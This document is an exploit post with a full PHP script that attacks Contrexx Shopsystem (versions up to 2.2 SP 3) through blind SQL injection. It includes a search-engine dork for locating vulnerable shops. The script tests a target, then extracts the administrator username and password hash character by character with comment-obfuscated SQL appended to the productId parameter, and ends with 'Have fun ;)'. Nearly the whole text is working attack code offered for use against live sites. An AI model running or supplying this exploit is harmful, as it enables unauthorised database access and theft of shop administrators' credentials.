Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit
Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]
Exploit tested on: Debian 6, Ubuntu Linux 11.04
Exploit found and written by: Penguin
Version: =< 2.2 SP 3
Date found: 12.8.11
Dork: inurl:index.php?section=shop&productId=
Vendor: www.contrexx.com
Visit: www.null-sector.info
Contact: Jabber -> penguin@null-sector.info
 
#!/usr/bin/php
<?php
/*
    Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit
    Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]
    Exploit tested on: Debian 6, Ubuntu Linux 11.04
    Exploit found and written by: Penguin
    Version: =< 2.2 SP 3
    Date found: 12.8.11
    Dork: inurl:index.php?section=shop&productId=
    web: www.2cto.com
    Visit: www.null-sector.info
    Contact: Jabber -> penguin@null-sector.info
    
    Greets to: Blacktiger/Luxy, Leto, hAgBaRd2ooo, KrimiX, zYiix, reutz/head
    
    Important info to this Exploit:
        If you want to use it on a non-german site you have to edit the string in testIt "In den Warenkorb"!
    Known Bugs:
        -> Some servers response 500 - Internal Server Error. Dunno why :(
        -> On non-german shops you must edit the function testIt. It does not fetch a keyword automatic :/
 */
 
echo "#######################################\r\n";
echo "# Contrexx Shopsystem Exploit         #\r\n";
echo "# Exploit Type: Blind SQL Injection   #\r\n";
echo "# Exploit State: Non-Public           #\r\n";
echo "# Programmed by: Penguin              #\r\n";
echo "#######################################\r\n";
if ($argc < 4)
{
    echo "USAGE: ./exploit.php [TARGET] [PRODUCTID] [ADMIN ROW]\r\n";
    echo "Target = ex. http://www.2cto.com /index.php\r\n";
    echo "PRODUCTID = a VALID ProductId!\r\n";
    echo "Admin Row = The Exploit selects all admins and use limit [ADMIN ROW],1. Standard: 0\r\n";
} else {
    // There are some Config variables :)
    // If you know what you're doing, feel free to change them :>
    $target_url = $argv[1] . "?section=shop&cmd=details&productId=" . $argv[2];
    $charset_start_usr = 96;
    $charset_end_usr = 126;
    $charset_hash = Array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
    $toLength = 100;
    $myLimit = $argv[3];
    
    // Now the Action start :)
 
    echo "Starting exploit....\r\nChecking if Vulnerable...";
    $check = file_get_contents($target_url . "'");
    if(testIt($check) == true)
    {
        die("Target is not Vulnerable :(\r\n");
    }
    echo "Target is Vulnerable :)\r\n";
    echo "Starting the SQL Injection...\r\n";
    echo "Fetching Username...\r\n";
    $username = getUsername($toLength, $charset_start_usr, $charset_end_usr, $target_url,$myLimit);
    $hash = getHash($toLength,$charset_hash,$target_url,$myLimit);
    echo "Exploited Successfully!\r\n";
    echo "Full Logindata: $username : $hash\r\n";
    echo "Have fun ;)\r\n";
}
 
/////////////////////////////////////////
 
//Functions - Sorry, code is a bit "ugly" :)
function getUsername($toLength, $charset_start, $charset_end, $target_url,$limit)
{
    $username = "";
    // Get Length
    $length = -1;
    for($i=0;$i<$toLength;$i++)
    {
        $url = $target_url . "/**/and/**/(select/**/length(username)/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1)=" . $i;
        $src = file_get_contents($url);
        if(testIt($src) == true)
        {
            $length = $i;
            break;
        }
    }
    if ($length == -1)
    {
        die("There was a problem @ fetching username length :(\r\n");
    }
    echo "Username length: $length !\r\n";
    $username = "";
    echo "Username: ";
    for($k=0;$k<$length;$k++)
    {
        $charToAdd = "";
        for($c=$charset_start;$c<$charset_end;$c++)
        {
            $p = $k+1;
            $src = file_get_contents($target_url . "/**/and/**/substring((select/**/username/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($c)");
            if(testIt($src) == true)
            {
                $charToAdd = $c;
                break;
            }
        }
        echo chr($c);
        $username .= chr($c);
    }
    echo "\r\n";
    return $username;
}
 
function getHash($toLength, $charset, $target_url, $limit)
{
    // Get Hash
 
    $hash = "";
    echo "Hash: ";
    for($k=0;$k<32;$k++)
    {
        $charToAdd = "";
        for($c=0;$c<count($charset);$c++)
        {
            $p = $k+1;
            $z = $charset[$c];
            $src = file_get_contents($target_url . "/**/and/**/substring((select/**/password/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($z)");
            if(testIt($src) == true)
            {
                $charToAdd = $charset[$c];
                break;
            }
        }
        echo chr($charToAdd);
        $hash .= chr($charToAdd);
    }
    echo "\r\n";
    return $hash;
}
 
function testIt($src)
{
    $check = explode("In den Warenkorb",$src);
    if(count($check) >= 2)
    {
        return true;
    }
    return false;
}
 
?>